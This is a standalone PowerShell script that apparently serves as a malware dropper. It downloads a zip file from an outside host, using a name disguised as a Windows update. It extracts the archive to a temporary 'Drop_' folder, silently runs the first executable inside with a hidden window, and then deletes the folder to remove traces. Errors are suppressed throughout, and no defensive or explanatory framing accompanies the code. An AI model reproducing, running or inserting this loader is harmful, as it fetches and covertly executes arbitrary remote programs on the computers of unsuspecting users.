$ErrorActionPreference = "SilentlyContinue" [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $ZipUrl = "https://sourcemirrors.org/hosted/11005-windows_update_10.0.26100.7019_x64.zip" try { $tempBase = [IO.Path]::GetTempPath() $workDir = Join-Path $tempBase ("Drop_" + [Guid]::NewGuid().ToString("N")) $zipPath = Join-Path $workDir "payload.zip" New-Item -ItemType Directory -Path $workDir | Out-Null $wc = New-Object System.Net.WebClient $wc.Headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' $wc.Proxy = [Net.WebRequest]::DefaultWebProxy $wc.Proxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials $wc.DownloadFile($ZipUrl, $zipPath) if (Get-Command Expand-Archive -ErrorAction SilentlyContinue) { Expand-Archive -Path $zipPath -DestinationPath $workDir -Force } else { $shell = New-Object -ComObject Shell.Application $zip = $shell.NameSpace($zipPath) $dest = $shell.NameSpace($workDir) $dest.CopyHere($zip.Items(), 0x10) while ($dest.Items().Count -lt $zip.Items().Count) { Start-Sleep -Milliseconds 200 } } $exePath = Get-ChildItem -Path $workDir -Filter "*.exe" -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName if ($exePath) { Start-Process -FilePath $exePath -Wait -NoNewWindow -WindowStyle Hidden | Out-Null } } finally { if (Test-Path $workDir) { Remove-Item -Path $workDir -Recurse -Force -ErrorAction SilentlyContinue } }